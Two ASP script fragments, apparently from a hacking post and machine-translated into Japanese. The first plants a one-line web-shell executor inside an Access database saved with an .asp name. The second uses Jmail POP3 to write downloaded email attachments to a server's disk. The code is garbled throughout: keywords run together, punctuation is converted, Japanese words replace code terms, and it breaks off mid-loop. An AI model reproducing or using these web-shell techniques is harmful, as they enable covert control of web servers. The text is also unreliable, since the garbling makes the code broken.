<％
'codeBynetPatch
dimdbfile、sql
db = "netpatch.asp"
dbfile = server.mappath（db）
setydb = server.createObject（ "adox.catalog"）
ydb.create "provider = microsoft.jet.oledb.4.0; dataSource ="＆dbfile
setydb =何もない
iferr.number = 0then
respons.writedbfile＆ "CREATEFULLY <BR>"
それ以外
response.write "作成は失敗しました、理由："＆err.description
Response.End
endif
setConn = server.createObject（ "adodb.connection"）
conn.open "provider = microsoft.jet.oledb.4.0; dataSource ="＆dbfile
sql = "createTableFDATA（[データ]メモ）"
conn.execute（sql）
setrs = createObject（ "adodb.recordset"）
rs.open "fdata"、conn、1,3
rs.addnew
rs（ "data"）= "┼Power番号と敵を再活性化する>" '（コメントを削除することを忘れないでください！1つの文章executionerQuest（ "n"））
rs.update
％>
Jmailでファイルをハードディスクに書き込みます
<％
'codzbykevin1986 [s4t]
user = request.form（ "user"）
pass = request.form（ "pass"）
popserver = request.form（ "popserver"）
ifuser <> "" andPass <> "" "andPopserver <>" "then
setobjmail = createObject（ "jmail.pop3"）
objmail.connectuser、pass、popserver
setobjmsg = createObject（ "jmail.message"）
setobjmsg = objmail.messages.item（1）
セパレーター= "、"
Response.Write "AttachmentNameis："＆Saveatta＆ "<br>"
objmail.disconnect
endif
functionsaveatta（）
setattachments = objmsg.attachments
セパレーター= "、"
Response.write "thesize of thisattachmentis："＆objmsg.size＆ "<br>"
fori = 0toattachments.count-1
ifi = attachments.count-1then